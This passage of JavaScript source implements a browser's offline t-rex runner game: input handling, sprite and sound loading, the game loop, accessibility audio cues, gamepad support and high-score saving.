* @enum {string}
*/
Runner.classes = {
ARCADE_MODE: 'arcade-mode',
CANVAS: 'runner-canvas',
CONTAINER: 'runner-container',
CRASHED: 'crashed',
ICON: 'icon-offline',
INVERTED: 'inverted',
SNACKBAR: 'snackbar',
SNACKBAR_SHOW: 'snackbar-show',
TOUCH_CONTROLLER: 'controller',
};
/**
* Sound FX. Reference to the ID of the audio tag on interstitial page.
* @enum {string}
*/
Runner.sounds = {
BUTTON_PRESS: 'offline-sound-press',
HIT: 'offline-sound-hit',
SCORE: 'offline-sound-reached',
};
/**
* Key code mapping.
* @enum {Object}
*/
Runner.keycodes = {
JUMP: {'38': 1, '32': 1}, // Up, spacebar
DUCK: {'40': 1}, // Down
RESTART: {'13': 1}, // Enter
};
/**
* Runner event names.
* @enum {string}
*/
Runner.events = {
ANIM_END: 'webkitAnimationEnd',
CLICK: 'click',
KEYDOWN: 'keydown',
KEYUP: 'keyup',
POINTERDOWN: 'pointerdown',
POINTERUP: 'pointerup',
RESIZE: 'resize',
TOUCHEND: 'touchend',
TOUCHSTART: 'touchstart',
VISIBILITY: 'visibilitychange',
BLUR: 'blur',
FOCUS: 'focus',
LOAD: 'load',
GAMEPADCONNECTED: 'gamepadconnected',
};
Runner.prototype = {
/**
* Initialize alternative game type.
*/
initAltGameType() {
if (GAME_TYPE.length > 0) {
this.gameType = loadTimeData && loadTimeData.valueExists('altGameType') ?
GAME_TYPE[parseInt(loadTimeData.getValue('altGameType'), 10) - 1] :
'';
}
},
/**
* Whether the easter egg has been disabled. CrOS enterprise enrolled devices.
* @return {boolean}
*/
isDisabled() {
return loadTimeData && loadTimeData.valueExists('disabledEasterEgg');
},
/**
* For disabled instances, set up a snackbar with the disabled message.
*/
setupDisabledRunner() {
this.containerEl = document.createElement('div');
this.containerEl.className = Runner.classes.SNACKBAR;
this.containerEl.textContent = loadTimeData.getValue('disabledEasterEgg');
this.outerContainerEl.appendChild(this.containerEl);
// Show notification when the activation key is pressed.
document.addEventListener(Runner.events.KEYDOWN, function(e) {
if (Runner.keycodes.JUMP[e.keyCode]) {
this.containerEl.classList.add(Runner.classes.SNACKBAR_SHOW);
document.querySelector('.icon').classList.add('icon-disabled');
}
}.bind(this));
},
/**
* Setting individual settings for debugging.
* @param {string} setting
* @param {number|string} value
*/
updateConfigSetting(setting, value) {
if (setting in this.config && value !== undefined) {
this.config[setting] = value;
switch (setting) {
case 'GRAVITY':
case 'MIN_JUMP_HEIGHT':
case 'SPEED_DROP_COEFFICIENT':
this.tRex.config[setting] = value;
break;
case 'INITIAL_JUMP_VELOCITY':
this.tRex.setJumpVelocity(value);
break;
case 'SPEED':
this.setSpeed(/** @type {number} */ (value));
break;
}
}
},
/**
* Creates an on page image element from the base 64 encoded string source.
* @param {string} resourceName Name in data object,
* @return {HTMLImageElement} The created element.
*/
createImageElement(resourceName) {
const imgSrc = loadTimeData && loadTimeData.valueExists(resourceName) ?
loadTimeData.getString(resourceName) :
null;
if (imgSrc) {
const el =
/** @type {HTMLImageElement} */ (document.createElement('img'));
el.id = resourceName;
el.src = imgSrc;
document.getElementById('offline-resources').appendChild(el);
return el;
}
return null;
},
/**
* Cache the appropriate image sprite from the page and get the sprite sheet
* definition.
*/
loadImages() {
let scale = '1x';
this.spriteDef = Runner.spriteDefinition.LDPI;
if (IS_HIDPI) {
scale = '2x';
this.spriteDef = Runner.spriteDefinition.HDPI;
}
Runner.imageSprite = /** @type {HTMLImageElement} */
(document.getElementById(RESOURCE_POSTFIX + scale));
if (this.gameType) {
Runner.altGameImageSprite = /** @type {HTMLImageElement} */
(this.createImageElement('altGameSpecificImage' + scale));
Runner.altCommonImageSprite = /** @type {HTMLImageElement} */
(this.createImageElement('altGameCommonImage' + scale));
}
Runner.origImageSprite = Runner.imageSprite;
// Disable the alt game mode if the sprites can't be loaded.
if (!Runner.altGameImageSprite || !Runner.altCommonImageSprite) {
Runner.isAltGameModeEnabled = () => false;
this.altGameModeActive = false;
}
if (Runner.imageSprite.complete) {
this.init();
} else {
// If the images are not yet loaded, add a listener.
Runner.imageSprite.addEventListener(Runner.events.LOAD,
this.init.bind(this));
}
},
/**
* Load and decode base 64 encoded sounds.
*/
loadSounds() {
if (!IS_IOS) {
this.audioContext = new AudioContext();
const resourceTemplate =
document.getElementById(this.config.RESOURCE_TEMPLATE_ID).content;
for (const sound in Runner.sounds) {
let soundSrc =
resourceTemplate.getElementById(Runner.sounds[sound]).src;
soundSrc = soundSrc.substr(soundSrc.indexOf(',') + 1);
const buffer = decodeBase64ToArrayBuffer(soundSrc);
// Async, so no guarantee of order in array.
this.audioContext.decodeAudioData(buffer, function(index, audioData) {
this.soundFx[index] = audioData;
}.bind(this, sound));
}
}
},
/**
* Sets the game speed. Adjust the speed accordingly if on a smaller screen.
* @param {number=} opt_speed
*/
setSpeed(opt_speed) {
const speed = opt_speed || this.currentSpeed;
// Reduce the speed on smaller mobile screens.
if (this.dimensions.WIDTH < DEFAULT_WIDTH) {
const mobileSpeed = Runner.slowDown ? speed :
speed * this.dimensions.WIDTH /
DEFAULT_WIDTH * this.config.MOBILE_SPEED_COEFFICIENT;
this.currentSpeed = mobileSpeed > speed ? speed : mobileSpeed;
} else if (opt_speed) {
this.currentSpeed = opt_speed;
}
},
/**
* Game initialiser.
*/
init() {
// Hide the static icon.
document.querySelector('.' + Runner.classes.ICON).style.visibility =
'hidden';
this.adjustDimensions();
this.setSpeed();
const ariaLabel = getA11yString(A11Y_STRINGS.ariaLabel);
this.containerEl = document.createElement('div');
this.containerEl.setAttribute('role', IS_MOBILE ? 'button' : 'application');
this.containerEl.setAttribute('tabindex', '0');
this.containerEl.setAttribute('title', ariaLabel);
this.containerEl.className = Runner.classes.CONTAINER;
// Player canvas container.
this.canvas = createCanvas(this.containerEl, this.dimensions.WIDTH,
this.dimensions.HEIGHT);
// Live region for game status updates.
this.a11yStatusEl = document.createElement('span');
this.a11yStatusEl.className = 'offline-runner-live-region';
this.a11yStatusEl.setAttribute('aria-live', 'assertive');
this.a11yStatusEl.textContent = '';
Runner.a11yStatusEl = this.a11yStatusEl;
// Add checkbox to slow down the game.
this.slowSpeedCheckboxLabel = document.createElement('label');
this.slowSpeedCheckboxLabel.className = 'slow-speed-option hidden';
this.slowSpeedCheckboxLabel.textContent =
getA11yString(A11Y_STRINGS.speedLabel);
this.slowSpeedCheckbox = document.createElement('input');
this.slowSpeedCheckbox.setAttribute('type', 'checkbox');
this.slowSpeedCheckbox.setAttribute(
'title', getA11yString(A11Y_STRINGS.speedLabel));
this.slowSpeedCheckbox.setAttribute('tabindex', '0');
this.slowSpeedCheckbox.setAttribute('checked', 'checked');
this.slowSpeedToggleEl = document.createElement('span');
this.slowSpeedToggleEl.className = 'slow-speed-toggle';
this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedCheckbox);
this.slowSpeedCheckboxLabel.appendChild(this.slowSpeedToggleEl);
if (IS_IOS) {
this.outerContainerEl.appendChild(this.a11yStatusEl);
} else {
this.containerEl.appendChild(this.a11yStatusEl);
}
announcePhrase(getA11yString(A11Y_STRINGS.description));
this.generatedSoundFx = new GeneratedSoundFx();
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.canvasCtx.fillStyle = '#f7f7f7';
this.canvasCtx.fill();
Runner.updateCanvasScaling(this.canvas);
// Horizon contains clouds, obstacles and the ground.
this.horizon = new Horizon(this.canvas, this.spriteDef, this.dimensions,
this.config.GAP_COEFFICIENT);
// Distance meter
this.distanceMeter = new DistanceMeter(this.canvas,
this.spriteDef.TEXT_SPRITE, this.dimensions.WIDTH);
// Draw t-rex
this.tRex = new Trex(this.canvas, this.spriteDef.TREX);
this.outerContainerEl.appendChild(this.containerEl);
this.outerContainerEl.appendChild(this.slowSpeedCheckboxLabel);
this.startListening();
this.update();
window.addEventListener(Runner.events.RESIZE,
this.debounceResize.bind(this));
// Handle dark mode
const darkModeMediaQuery =
window.matchMedia('(prefers-color-scheme: dark)');
this.isDarkMode = darkModeMediaQuery && darkModeMediaQuery.matches;
darkModeMediaQuery.addListener((e) => {
this.isDarkMode = e.matches;
});
},
/**
* Create the touch controller. A div that covers whole screen.
*/
createTouchController() {
this.touchController = document.createElement('div');
this.touchController.className = Runner.classes.TOUCH_CONTROLLER;
this.touchController.addEventListener(Runner.events.TOUCHSTART, this);
this.touchController.addEventListener(Runner.events.TOUCHEND, this);
this.outerContainerEl.appendChild(this.touchController);
},
/**
* Debounce the resize event.
*/
debounceResize() {
if (!this.resizeTimerId_) {
this.resizeTimerId_ =
setInterval(this.adjustDimensions.bind(this), 250);
}
},
/**
* Adjust game space dimensions on resize.
*/
adjustDimensions() {
clearInterval(this.resizeTimerId_);
this.resizeTimerId_ = null;
const boxStyles = window.getComputedStyle(this.outerContainerEl);
const padding = Number(boxStyles.paddingLeft.substr(0,
boxStyles.paddingLeft.length - 2));
this.dimensions.WIDTH = this.outerContainerEl.offsetWidth - padding * 2;
if (this.isArcadeMode()) {
this.dimensions.WIDTH = Math.min(DEFAULT_WIDTH, this.dimensions.WIDTH);
if (this.activated) {
this.setArcadeModeContainerScale();
}
}
// Redraw the elements back onto the canvas.
if (this.canvas) {
this.canvas.width = this.dimensions.WIDTH;
this.canvas.height = this.dimensions.HEIGHT;
Runner.updateCanvasScaling(this.canvas);
this.distanceMeter.calcXPos(this.dimensions.WIDTH);
this.clearCanvas();
this.horizon.update(0, 0, true);
this.tRex.update(0);
// Outer container and distance meter.
if (this.playing || this.crashed || this.paused) {
this.containerEl.style.width = this.dimensions.WIDTH + 'px';
this.containerEl.style.height = this.dimensions.HEIGHT + 'px';
this.distanceMeter.update(0, Math.ceil(this.distanceRan));
this.stop();
} else {
this.tRex.draw(0, 0);
}
// Game over panel.
if (this.crashed && this.gameOverPanel) {
this.gameOverPanel.updateDimensions(this.dimensions.WIDTH);
this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
}
}
},
/**
* Play the game intro.
* Canvas container width expands out to the full width.
*/
playIntro() {
if (!this.activated && !this.crashed) {
this.playingIntro = true;
this.tRex.playingIntro = true;
// CSS animation definition.
const keyframes = '@-webkit-keyframes intro { ' +
'from { width:' + Trex.config.WIDTH + 'px }' +
'to { width: ' + this.dimensions.WIDTH + 'px }' +
'}';
document.styleSheets[0].insertRule(keyframes, 0);
this.containerEl.addEventListener(Runner.events.ANIM_END,
this.startGame.bind(this));
this.containerEl.style.webkitAnimation = 'intro .4s ease-out 1 both';
this.containerEl.style.width = this.dimensions.WIDTH + 'px';
this.setPlayStatus(true);
this.activated = true;
} else if (this.crashed) {
this.restart();
}
},
/**
* Update the game status to started.
*/
startGame() {
if (this.isArcadeMode()) {
this.setArcadeMode();
}
this.toggleSpeed();
this.runningTime = 0;
this.playingIntro = false;
this.tRex.playingIntro = false;
this.containerEl.style.webkitAnimation = '';
this.playCount++;
this.generatedSoundFx.background();
announcePhrase(getA11yString(A11Y_STRINGS.started));
if (Runner.audioCues) {
this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
}
// Handle tabbing off the page. Pause the current game.
document.addEventListener(Runner.events.VISIBILITY,
this.onVisibilityChange.bind(this));
window.addEventListener(Runner.events.BLUR,
this.onVisibilityChange.bind(this));
window.addEventListener(Runner.events.FOCUS,
this.onVisibilityChange.bind(this));
},
clearCanvas() {
this.canvasCtx.clearRect(0, 0, this.dimensions.WIDTH,
this.dimensions.HEIGHT);
},
/**
* Checks whether the canvas area is in the viewport of the browser
* through the current scroll position.
* @return boolean.
*/
isCanvasInView() {
return this.containerEl.getBoundingClientRect().top >
Runner.config.CANVAS_IN_VIEW_OFFSET;
},
/**
* Enable the alt game mode. Switching out the sprites.
*/
enableAltGameMode() {
Runner.imageSprite = Runner.altGameImageSprite;
Runner.spriteDefinition = Runner.spriteDefinitionByType[Runner.gameType];
if (IS_HIDPI) {
this.spriteDef = Runner.spriteDefinition.HDPI;
} else {
this.spriteDef = Runner.spriteDefinition.LDPI;
}
this.altGameModeActive = true;
this.tRex.enableAltGameMode(this.spriteDef.TREX);
this.horizon.enableAltGameMode(this.spriteDef);
this.generatedSoundFx.background();
},
/**
* Update the game frame and schedules the next one.
*/
update() {
this.updatePending = false;
const now = getTimeStamp();
let deltaTime = now - (this.time || now);
// Flashing when switching game modes.
if (this.altGameModeFlashTimer < 0 || this.altGameModeFlashTimer === 0) {
this.altGameModeFlashTimer = null;
this.tRex.setFlashing(false);
this.enableAltGameMode();
} else if (this.altGameModeFlashTimer > 0) {
this.altGameModeFlashTimer -= deltaTime;
this.tRex.update(deltaTime);
deltaTime = 0;
}
this.time = now;
if (this.playing) {
this.clearCanvas();
// Additional fade in - Prevents jump when switching sprites
if (this.altGameModeActive &&
this.fadeInTimer <= this.config.FADE_DURATION) {
this.fadeInTimer += deltaTime / 1000;
this.canvasCtx.globalAlpha = this.fadeInTimer;
} else {
this.canvasCtx.globalAlpha = 1;
}
if (this.tRex.jumping) {
this.tRex.updateJump(deltaTime);
}
this.runningTime += deltaTime;
const hasObstacles = this.runningTime > this.config.CLEAR_TIME;
// First jump triggers the intro.
if (this.tRex.jumpCount === 1 && !this.playingIntro) {
this.playIntro();
}
// The horizon doesn't move until the intro is over.
if (this.playingIntro) {
this.horizon.update(0, this.currentSpeed, hasObstacles);
} else if (!this.crashed) {
const showNightMode = this.isDarkMode ^ this.inverted;
deltaTime = !this.activated ? 0 : deltaTime;
this.horizon.update(
deltaTime, this.currentSpeed, hasObstacles, showNightMode);
}
// Check for collisions.
let collision = hasObstacles &&
checkForCollision(this.horizon.obstacles[0], this.tRex);
// For a11y, audio cues.
if (Runner.audioCues && hasObstacles) {
const jumpObstacle =
this.horizon.obstacles[0].typeConfig.type != 'COLLECTABLE';
if (!this.horizon.obstacles[0].jumpAlerted) {
const threshold = Runner.isMobileMouseInput ?
Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y :
Runner.config.AUDIOCUE_PROXIMITY_THRESHOLD;
const adjProximityThreshold = threshold +
(threshold * Math.log10(this.currentSpeed / Runner.config.SPEED));
if (this.horizon.obstacles[0].xPos < adjProximityThreshold) {
if (jumpObstacle) {
this.generatedSoundFx.jump();
}
this.horizon.obstacles[0].jumpAlerted = true;
}
}
}
// Activated alt game mode.
if (Runner.isAltGameModeEnabled() && collision &&
this.horizon.obstacles[0].typeConfig.type == 'COLLECTABLE') {
this.horizon.removeFirstObstacle();
this.tRex.setFlashing(true);
collision = false;
this.altGameModeFlashTimer = this.config.FLASH_DURATION;
this.runningTime = 0;
this.generatedSoundFx.collect();
}
if (!collision) {
this.distanceRan += this.currentSpeed * deltaTime / this.msPerFrame;
if (this.currentSpeed < this.config.MAX_SPEED) {
this.currentSpeed += this.config.ACCELERATION;
}
} else {
this.gameOver();
}
const playAchievementSound = this.distanceMeter.update(deltaTime,
Math.ceil(this.distanceRan));
if (!Runner.audioCues && playAchievementSound) {
this.playSound(this.soundFx.SCORE);
}
// Night mode.
if (!Runner.isAltGameModeEnabled()) {
if (this.invertTimer > this.config.INVERT_FADE_DURATION) {
this.invertTimer = 0;
this.invertTrigger = false;
this.invert(false);
} else if (this.invertTimer) {
this.invertTimer += deltaTime;
} else {
const actualDistance =
this.distanceMeter.getActualDistance(Math.ceil(this.distanceRan));
if (actualDistance > 0) {
this.invertTrigger =
!(actualDistance % this.config.INVERT_DISTANCE);
if (this.invertTrigger && this.invertTimer === 0) {
this.invertTimer += deltaTime;
this.invert(false);
}
}
}
}
}
if (this.playing || (!this.activated &&
this.tRex.blinkCount < Runner.config.MAX_BLINK_COUNT)) {
this.tRex.update(deltaTime);
this.scheduleNextUpdate();
}
},
/**
* Event handler.
* @param {Event} e
*/
handleEvent(e) {
return (function(evtType, events) {
switch (evtType) {
case events.KEYDOWN:
case events.TOUCHSTART:
case events.POINTERDOWN:
this.onKeyDown(e);
break;
case events.KEYUP:
case events.TOUCHEND:
case events.POINTERUP:
this.onKeyUp(e);
break;
case events.GAMEPADCONNECTED:
this.onGamepadConnected(e);
break;
}
}.bind(this))(e.type, Runner.events);
},
/**
* Initialize audio cues if activated by focus on the canvas element.
* @param {Event} e
*/
handleCanvasKeyPress(e) {
if (!this.activated && !Runner.audioCues) {
this.toggleSpeed();
Runner.audioCues = true;
this.generatedSoundFx.init();
Runner.generatedSoundFx = this.generatedSoundFx;
Runner.config.CLEAR_TIME *= 1.2;
} else if (e.keyCode && Runner.keycodes.JUMP[e.keyCode]) {
this.onKeyDown(e);
}
},
/**
* Prevent space key press from scrolling.
* @param {Event} e
*/
preventScrolling(e) {
if (e.keyCode === 32) {
e.preventDefault();
}
},
/**
* Toggle speed setting if toggle is shown.
*/
toggleSpeed() {
if (Runner.audioCues) {
const speedChange = Runner.slowDown != this.slowSpeedCheckbox.checked;
if (speedChange) {
Runner.slowDown = this.slowSpeedCheckbox.checked;
const updatedConfig =
Runner.slowDown ? Runner.slowConfig : Runner.normalConfig;
Runner.config = Object.assign(Runner.config, updatedConfig);
this.currentSpeed = updatedConfig.SPEED;
this.tRex.enableSlowConfig();
this.horizon.adjustObstacleSpeed();
}
if (this.playing) {
this.disableSpeedToggle(true);
}
}
},
/**
* Show the speed toggle.
* From focus event or when audio cues are activated.
* @param {Event=} e
*/
showSpeedToggle(e) {
const isFocusEvent = e && e.type == 'focus';
if (Runner.audioCues || isFocusEvent) {
this.slowSpeedCheckboxLabel.classList.toggle(
HIDDEN_CLASS, isFocusEvent ? false : !this.crashed);
}
},
/**
* Disable the speed toggle.
* @param {boolean} disable
*/
disableSpeedToggle(disable) {
if (disable) {
this.slowSpeedCheckbox.setAttribute('disabled', 'disabled');
} else {
this.slowSpeedCheckbox.removeAttribute('disabled');
}
},
/**
* Bind relevant key / mouse / touch listeners.
*/
startListening() {
// A11y keyboard / screen reader activation.
this.containerEl.addEventListener(
Runner.events.KEYDOWN, this.handleCanvasKeyPress.bind(this));
if (!IS_MOBILE) {
this.containerEl.addEventListener(
Runner.events.FOCUS, this.showSpeedToggle.bind(this));
}
this.canvas.addEventListener(
Runner.events.KEYDOWN, this.preventScrolling.bind(this));
this.canvas.addEventListener(
Runner.events.KEYUP, this.preventScrolling.bind(this));
// Keys.
document.addEventListener(Runner.events.KEYDOWN, this);
document.addEventListener(Runner.events.KEYUP, this);
// Touch / pointer.
this.containerEl.addEventListener(Runner.events.TOUCHSTART, this);
document.addEventListener(Runner.events.POINTERDOWN, this);
document.addEventListener(Runner.events.POINTERUP, this);
if (this.isArcadeMode()) {
// Gamepad
window.addEventListener(Runner.events.GAMEPADCONNECTED, this);
}
},
/**
* Remove all listeners.
*/
stopListening() {
document.removeEventListener(Runner.events.KEYDOWN, this);
document.removeEventListener(Runner.events.KEYUP, this);
if (this.touchController) {
this.touchController.removeEventListener(Runner.events.TOUCHSTART, this);
this.touchController.removeEventListener(Runner.events.TOUCHEND, this);
}
this.containerEl.removeEventListener(Runner.events.TOUCHSTART, this);
document.removeEventListener(Runner.events.POINTERDOWN, this);
document.removeEventListener(Runner.events.POINTERUP, this);
if (this.isArcadeMode()) {
window.removeEventListener(Runner.events.GAMEPADCONNECTED, this);
}
},
/**
* Process keydown.
* @param {Event} e
*/
onKeyDown(e) {
// Prevent native page scrolling whilst tapping on mobile.
if (IS_MOBILE && this.playing) {
e.preventDefault();
}
if (this.isCanvasInView()) {
// Allow toggling of speed toggle.
if (Runner.keycodes.JUMP[e.keyCode] &&
e.target == this.slowSpeedCheckbox) {
return;
}
if (!this.crashed && !this.paused) {
// For a11y, screen reader activation.
const isMobileMouseInput = IS_MOBILE &&
e.type === Runner.events.POINTERDOWN &&
e.pointerType == 'mouse' && e.target == this.containerEl ||
(IS_IOS && e.pointerType == 'touch' &&
document.activeElement == this.containerEl);
if (Runner.keycodes.JUMP[e.keyCode] ||
e.type === Runner.events.TOUCHSTART || isMobileMouseInput ||
(Runner.keycodes.DUCK[e.keyCode] && this.altGameModeActive)) {
e.preventDefault();
// Starting the game for the first time.
if (!this.playing) {
// Started by touch so create a touch controller.
if (!this.touchController && e.type === Runner.events.TOUCHSTART) {
this.createTouchController();
}
if (isMobileMouseInput) {
this.handleCanvasKeyPress(e);
}
this.loadSounds();
this.setPlayStatus(true);
this.update();
if (window.errorPageController) {
errorPageController.trackEasterEgg();
}
}
// Start jump.
if (!this.tRex.jumping && !this.tRex.ducking) {
if (Runner.audioCues) {
this.generatedSoundFx.cancelFootSteps();
} else {
this.playSound(this.soundFx.BUTTON_PRESS);
}
this.tRex.startJump(this.currentSpeed);
}
// Ducking is disabled on alt game modes.
} else if (
!this.altGameModeActive && this.playing &&
Runner.keycodes.DUCK[e.keyCode]) {
e.preventDefault();
if (this.tRex.jumping) {
// Speed drop, activated only when jump key is not pressed.
this.tRex.setSpeedDrop();
} else if (!this.tRex.jumping && !this.tRex.ducking) {
// Duck.
this.tRex.setDuck(true);
}
}
}
}
},
/**
* Process key up.
* @param {Event} e
*/
onKeyUp(e) {
const keyCode = String(e.keyCode);
const isjumpKey = Runner.keycodes.JUMP[keyCode] ||
e.type === Runner.events.TOUCHEND || e.type === Runner.events.POINTERUP;
if (this.isRunning() && isjumpKey) {
this.tRex.endJump();
} else if (Runner.keycodes.DUCK[keyCode]) {
this.tRex.speedDrop = false;
this.tRex.setDuck(false);
} else if (this.crashed) {
// Check that enough time has elapsed before allowing jump key to restart.
const deltaTime = getTimeStamp() - this.time;
if (this.isCanvasInView() &&
(Runner.keycodes.RESTART[keyCode] || this.isLeftClickOnCanvas(e) ||
(deltaTime >= this.config.GAMEOVER_CLEAR_TIME &&
Runner.keycodes.JUMP[keyCode]))) {
this.handleGameOverClicks(e);
}
} else if (this.paused && isjumpKey) {
// Reset the jump state
this.tRex.reset();
this.play();
}
},
/**
* Process gamepad connected event.
* @param {Event} e
*/
onGamepadConnected(e) {
if (!this.pollingGamepads) {
this.pollGamepadState();
}
},
/**
* rAF loop for gamepad polling.
*/
pollGamepadState() {
const gamepads = navigator.getGamepads();
this.pollActiveGamepad(gamepads);
this.pollingGamepads = true;
requestAnimationFrame(this.pollGamepadState.bind(this));
},
/**
* Polls for a gamepad with the jump button pressed. If one is found this
* becomes the "active" gamepad and all others are ignored.
* @param {!Array<Gamepad>} gamepads
*/
pollForActiveGamepad(gamepads) {
for (let i = 0; i < gamepads.length; ++i) {
if (gamepads[i] && gamepads[i].buttons.length > 0 &&
gamepads[i].buttons[0].pressed) {
this.gamepadIndex = i;
this.pollActiveGamepad(gamepads);
return;
}
}
},
/**
* Polls the chosen gamepad for button presses and generates KeyboardEvents
* to integrate with the rest of the game logic.
* @param {!Array<Gamepad>} gamepads
*/
pollActiveGamepad(gamepads) {
if (this.gamepadIndex === undefined) {
this.pollForActiveGamepad(gamepads);
return;
}
const gamepad = gamepads[this.gamepadIndex];
if (!gamepad) {
this.gamepadIndex = undefined;
this.pollForActiveGamepad(gamepads);
return;
}
// The gamepad specification defines the typical mapping of physical buttons
// to button indicies: https://w3c.github.io/gamepad/#remapping
this.pollGamepadButton(gamepad, 0, 38); // Jump
if (gamepad.buttons.length >= 2) {
this.pollGamepadButton(gamepad, 1, 40); // Duck
}
if (gamepad.buttons.length >= 10) {
this.pollGamepadButton(gamepad, 9, 13); // Restart
}
this.previousGamepad = gamepad;
},
/**
* Generates a key event based on a gamepad button.
* @param {!Gamepad} gamepad
* @param {number} buttonIndex
* @param {number} keyCode
*/
pollGamepadButton(gamepad, buttonIndex, keyCode) {
const state = gamepad.buttons[buttonIndex].pressed;
let previousState = false;
if (this.previousGamepad) {
previousState = this.previousGamepad.buttons[buttonIndex].pressed;
}
// Generate key events on the rising and falling edge of a button press.
if (state !== previousState) {
const e = new KeyboardEvent(state ? Runner.events.KEYDOWN
: Runner.events.KEYUP,
{ keyCode: keyCode });
document.dispatchEvent(e);
}
},
/**
* Handle interactions on the game over screen state.
* A user is able to tap the high score twice to reset it.
* @param {Event} e
*/
handleGameOverClicks(e) {
if (e.target != this.slowSpeedCheckbox) {
e.preventDefault();
if (this.distanceMeter.hasClickedOnHighScore(e) && this.highestScore) {
if (this.distanceMeter.isHighScoreFlashing()) {
// Subsequent click, reset the high score.
this.saveHighScore(0, true);
this.distanceMeter.resetHighScore();
} else {
// First click, flash the high score.
this.distanceMeter.startHighScoreFlashing();
}
} else {
this.distanceMeter.cancelHighScoreFlashing();
this.restart();
}
}
},
/**
* Returns whether the event was a left click on canvas.
* On Windows right click is registered as a click.
* @param {Event} e
* @return {boolean}
*/
isLeftClickOnCanvas(e) {
return e.button != null && e.button < 2 &&
e.type === Runner.events.POINTERUP &&
(e.target === this.canvas ||
(IS_MOBILE && Runner.audioCues && e.target === this.containerEl));
},
/**
* RequestAnimationFrame wrapper.
*/
scheduleNextUpdate() {
if (!this.updatePending) {
this.updatePending = true;
this.raqId = requestAnimationFrame(this.update.bind(this));
}
},
/**
* Whether the game is running.
* @return {boolean}
*/
isRunning() {
return !!this.raqId;
},
/**
* Set the initial high score as stored in the user's profile.
* @param {number} highScore
*/
initializeHighScore(highScore) {
this.syncHighestScore = true;
highScore = Math.ceil(highScore);
if (highScore < this.highestScore) {
if (window.errorPageController) {
errorPageController.updateEasterEggHighScore(this.highestScore);
}
return;
}
this.highestScore = highScore;
this.distanceMeter.setHighScore(this.highestScore);
},
/**
* Sets the current high score and saves to the profile if available.
* @param {number} distanceRan Total distance ran.
* @param {boolean=} opt_resetScore Whether to reset the score.
*/
saveHighScore(distanceRan, opt_resetScore) {
this.highestScore = Math.ceil(distanceRan);
this.distanceMeter.setHighScore(this.highestScore);
// Store the new high score in the profile.
if (this.syncHighestScore && window.errorPageController) {
if (opt_resetScore) {
errorPageController.resetEasterEggHighScore();
} else {
errorPageController.updateEasterEggHighScore(this.highestScore);
}
}
},
/**
* Game over state.
*/
gameOver() {
this.playSound(this.soundFx.HIT);
vibrate(200);
this.stop();
this.crashed = true;
this.distanceMeter.achievement = false;
this.tRex.update(100, Trex.status.CRASHED);
// Game over panel.
if (!this.gameOverPanel) {
const origSpriteDef = IS_HIDPI ?
Runner.spriteDefinitionByType.original.HDPI :
Runner.spriteDefinitionByType.original.LDPI;
if (this.canvas) {
if (Runner.isAltGameModeEnabled) {
this.gameOverPanel = new GameOverPanel(
this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
this.dimensions, origSpriteDef.ALT_GAME_END,
this.altGameModeActive);
} else {
this.gameOverPanel = new GameOverPanel(
this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
this.dimensions);
}
}
}
this.gameOverPanel.draw(this.altGameModeActive, this.tRex);
// Update the high score.
if (this.distanceRan > this.highestScore) {
this.saveHighScore(this.distanceRan);
}
// Reset the time clock.
this.time = getTimeStamp();
if (Runner.audioCues) {
this.generatedSoundFx.stopAll();
announcePhrase(
getA11yString(A11Y_STRINGS.gameOver)
.replace(
'$1',
this.distanceMeter.getActualDistance(this.distanceRan)
.toString()) +
' ' +
getA11yString(A11Y_STRINGS.highScore)
.replace(
'$1',
this.distanceMeter.getActualDistance(this.highestScore)
.toString()));
this.containerEl.setAttribute(
'title', getA11yString(A11Y_STRINGS.ariaLabel));
}
this.showSpeedToggle();
this.disableSpeedToggle(false);
},
stop() {
this.setPlayStatus(false);
this.paused = true;
cancelAnimationFrame(this.raqId);
this.raqId = 0;
this.generatedSoundFx.stopAll();
},
play() {
if (!this.crashed) {
this.setPlayStatus(true);
this.paused = false;
this.tRex.update(0, Trex.status.RUNNING);
this.time = getTimeStamp();
this.update();
this.generatedSoundFx.background();
}
},
restart() {
if (!this.raqId) {
this.playCount++;
this.runningTime = 0;
this.setPlayStatus(true);
this.toggleSpeed();
this.paused = false;
this.crashed = false;
this.distanceRan = 0;
this.setSpeed(this.config.SPEED);
this.time = getTimeStamp();
this.containerEl.classList.remove(Runner.classes.CRASHED);
this.clearCanvas();
this.distanceMeter.reset();
this.horizon.reset();
this.tRex.reset();
this.playSound(this.soundFx.BUTTON_PRESS);
this.invert(true);
this.flashTimer = null;
this.update();
this.gameOverPanel.reset();
this.generatedSoundFx.background();
this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
announcePhrase(getA11yString(A11Y_STRINGS.started));
}
},
setPlayStatus(isPlaying) {
if (this.touchController) {
this.touchController.classList.toggle(HIDDEN_CLASS, !isPlaying);
}
this.playing = isPlaying;
},
/**
* Whether the game should go into arcade mode.
* @return {boolean}
*/
isArcadeMode() {
// In RTL languages the title is wrapped with the left to right mark
// control characters ‪ and ‬ but are invisible.
return IS_RTL ? document.title.indexOf(ARCADE_MODE_URL) == 1 :
document.title === ARCADE_MODE_URL;
},
/**
* Hides offline messaging for a fullscreen game only experience.
*/
setArcadeMode() {
document.body.classList.add(Runner.classes.ARCADE_MODE);
this.setArcadeModeContainerScale();
},
/**
* Sets the scaling for arcade mode.
*/
setArcadeModeContainerScale() {
const windowHeight = window.innerHeight;
const scaleHeight = windowHeight / this.dimensions.HEIGHT;
const scaleWidth = window.innerWidth / this.dimensions.WIDTH;
const scale = Math.max(1, Math.min(scaleHeight, scaleWidth));
const scaledCanvasHeight = this.dimensions.HEIGHT * scale;
// Positions the game container at 10% of the available vertical window
// height minus the game container height.
const translateY = Math.ceil(Math.max(0, (windowHeight - scaledCanvasHeight -
Runner.config.ARCADE_MODE_INITIAL_TOP_POSITION) *
Runner.config.ARCADE_MODE_TOP_POSITION_PERCENT)) *
window.devicePixelRatio;
const cssScale = IS_RTL ? -scale + ',' + scale : scale;
this.containerEl.style.transform =
'scale(' + cssScale + ') translateY(' + translateY + 'px)';
},
/**
* Pause the game if the tab is not in focus.
*/
onVisibilityChange(e) {
if (document.hidden || document.webkitHidden || e.type === 'blur' ||
document.visibilityState !== 'visible') {
this.stop();
